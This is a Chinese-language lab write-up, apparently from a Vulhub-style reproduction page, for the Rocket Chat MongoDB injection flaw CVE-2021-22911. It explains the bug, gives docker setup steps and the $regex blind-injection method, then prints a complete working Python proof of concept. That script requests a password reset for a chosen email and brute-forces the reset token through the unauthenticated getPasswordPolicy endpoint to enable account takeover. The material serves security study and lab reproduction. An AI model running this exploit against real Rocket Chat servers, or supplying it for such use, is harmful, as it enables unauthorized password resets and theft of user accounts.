登录 白背景

Rocket Chat MongoDB 注入漏洞 CVE-2021-22911

漏洞描述

Rocket Chat是一款基于Node.js、MongoDB的开源团队聊天工具。在其3.12.1~3.13.2版本中,存在一处MongoDB注入漏洞,利用这个漏洞,攻击者可以获取用户敏感信息,甚至在服务器上执行任意命令。

这个漏洞有两种攻击方式:

  • 未授权攻击者可以利用这个漏洞,获取任意普通用户的Password Reset Token,并通过这个Token修改其密码
  • 普通用户可以利用这个漏洞,获取任意用户的任意信息

参考链接:

环境搭建

Vulhub执行如下命令启动一个Rocket Chat 3.12.1:

docker-compose up -d

环境启动后,访问http://your-ip:3000即可查看到Rocket Chat的安装向导,跟随向导进行安装即可。

安装完成后,为了验证第一个攻击方法,我们需要在后台增加一个普通用户,用户名为vulhub,邮箱为vulhub@vulhub.org

漏洞复现

我们只来复现第一种利用方式。复现这个漏洞需要三步:

  1. 通过邮箱找回密码,后台会在数据库中会生成Password Reset Token
  2. 利用MongoDB注入,获取这个Password Reset Token
  3. 使用Password Reset Token来更改这个用户的密码

其中,我们使用$regex语句进行MongoDB注入,当$regex: ^7时,不匹配,返回一个错误信息:

image-20230418153358039

$regex: ^8时能够匹配,返回正确信息:

image-20230418153405408

将注入的过程通过CVE-2021-22911.py这个小脚本进行实现,自动化获取Password Reset Token:

image-20230418153413172

使用Password Reset Token修改用户密码成功:

image-20230418153421489

漏洞POC

import sys
import time
import string
import json
import requests


guess = '-_' + string.digits + string.ascii_letters
session = requests.session()
session.headers = {
    'Content-Type': 'application/json',
}


def reset_password(target: str, email: str):
    payload = {
        'msg': 'method',
        'method': 'sendForgotPasswordEmail',
        'params': [email],
    }

    session.post(
        f'{target}/api/v1/method.callAnon/sendForgotPasswordEmail',
        json={'message': json.dumps(payload)},
    )
    sys.stdout.write("[+] Password Reset Email Sent\n")
    sys.stdout.flush()


def inject_token(target: str):
    payload = {
        'msg': 'method',
        'method': 'getPasswordPolicy',
        'params': [
            {
                'token': {'$regex': '^'}
            }
        ],
    }
    for i in range(43):
        current = payload['params'][0]['token']['$regex']
        sys.stdout.write(f'[*] Guess No.{i + 1} character: ')
        for ch in guess:
            payload['params'][0]['token']['$regex'] = current + ch
            response = session.post(
                f'{target}/api/v1/method.callAnon/getPasswordPolicy',
                json={'message': json.dumps(payload)},
            )
            if b'Meteor.Error' not in response.content:
                sys.stdout.write(f"\n[+] Current token is {payload['params'][0]['token']['$regex'][1:]}\n")
                sys.stdout.flush()
                break
            else:
                sys.stdout.write('.')
                sys.stdout.flush()

            time.sleep(1.5)


if __name__ == '__main__':
    target = sys.argv[1]
    reset_password(target, sys.argv[2])
    inject_token(target)